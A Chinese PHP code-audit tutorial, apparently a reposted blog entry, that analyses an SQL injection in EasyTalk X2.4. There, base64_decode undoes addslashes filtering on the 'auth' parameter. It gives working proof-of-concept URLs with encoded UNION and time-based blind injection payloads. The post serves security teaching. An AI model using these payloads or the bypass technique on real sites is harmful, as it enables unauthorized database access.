zoukankan      html  css  js  c++  java
  • 【PHP代码审计】 那些年我们一起挖掘SQL注入

    0x01 背景

    现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号。同上一篇,我们需要找一些编码解码的函数来绕过全局防护,本篇介绍base64decode()的情况。
    漏洞来源于乌云:http://www.wooyun.org/bugs/wooyun-2014-050338

    0x02 环境搭建

    看背景我们使用了低版本的easytalk程序,版本为X2.4
    ①源码我打包了一份:http://pan.baidu.com/s/1bopOFNL
    ②解压到www的easytalk目录下,按照提示一步步安装即可,遇到问题自行百度或谷歌,成功后访问如下图:

    0x03 漏洞分析

    首先看下源码结构,用的ThinkPHP框架,比较复杂:

    有兴趣的可以去研究下再继续往下看,新手可以知道ThinkPHP对接收的参数是有过滤的,并且根据你服务器是否开启GPC会做相应的处理:
    1./ThinkPHP/Extend/Library/ORG/Util/Input.class.php文件第266行:

    <?php
    /**
    +----------------------------------------------------------
    * 如果 magic_quotes_gpc 为关闭状态,这个函数可以转义字符串
    +----------------------------------------------------------
    * @access public
    +----------------------------------------------------------
    * @param string $string 要处理的字符串
    +----------------------------------------------------------
    * @return string
    +----------------------------------------------------------
    */

    static public function addSlashes($string) {
    if (!get_magic_quotes_gpc()) {
    $string = addslashes($string);
    }
    return $string;
    }

     

    2.使用Seay代码审计系统的全局搜索功能,搜索包含关键字为”base64_decode”的文件,发现SettingAction.class.php包含一个对接收的参数auth进行base64_decode的地方:

    3.我们跟进这个php文件,发现虽然使用daddslashes函数进行了注入过滤,但是使用了base64_decode函数对参数auth进行了转码从而可以绕过过滤造成注入:

    //认证电子邮件
    public function doauth() {
    $_authmsg=daddslashes($_GET['auth']);//再次判断GPC是否开启并进行注入过滤
    $authmsg=base64_decode($_authmsg);//base64_decode函数对参数进行转码处理
    $tem=explode(":",$authmsg);//对解码后的参数authmsg按照“:”进行分割存入数组tem中
    $send_id=$tem[0];
    $user=M('Users');

    $row = $user->field('mailadres,auth_email')->where("user_id='$send_id'")->find();//带入查询,在where子句里,造成注入
    if ($_authmsg==$row['auth_email']) {
    $user->where("user_id='$send_id'")->setField('auth_email',1);
    setcookie('setok', json_encode(array('lang'=>L('mail6'),'ico'=>1)),0,'/');
    } else {
    setcookie('setok', json_encode(array('lang'=>L('mail7'),'ico'=>2)),0,'/');
    }
    header('location:'.SITE_URL.'/?m=setting&a=mailauth');
    }

     

    0x04 漏洞证明

    构造获取数据库相关信息的POC:

    http://localhost/eazytalk/?m=setting&a=doauth&auth=aGFja2luZycgdW5pb24gc2VsZWN0IHVzZXIoKSwyIw== 

    查看sql语句发现成功执行:

    发现这里是一个盲注,并没有输出,所以我们使用sql盲注的语句。获取当前数据库用户名的第一个字符是不是‘r’(ascii值为114)的POC:

    http://localhost/eazytalk/?m=index&a=mailactivity&auth=MicgYW5kIChzZWxlY3QgaWYoKGFzY2lpKHN1YnN0cmluZygoc2VsZWN0IHVzZXIoKSksMSwxKSkgPSAxMTQpLHNsZWVwKDUpLDApKSM= 

    页面持续了5秒,说明user()的第一个字符为‘r’,查看sql语句发现成功执行:

    最后,有兴趣的同学可以自己写个py脚本来跑这种盲注。

    本文由HackBraid整理总结,原文链接:http://www.cnbraid.com/2016/02/18/sql2/,如需转载请联系作者。

  • 相关阅读:
    第五章.函数
    第四章.文件操作
    第三章.数据类型
    PyYaml简单学习
    Vim编辑器基本用法
    numpy.ndarray.transpose用法理解
    Django Formsets总结
    学习,认知,思维
    Django model总结(上)
    结合pandas,sqlite3批量将csv数据导入sqlite数据库
  • 原文地址:https://www.cnblogs.com/xiaozi/p/5538374.html
Copyright © 2011-2022 走看看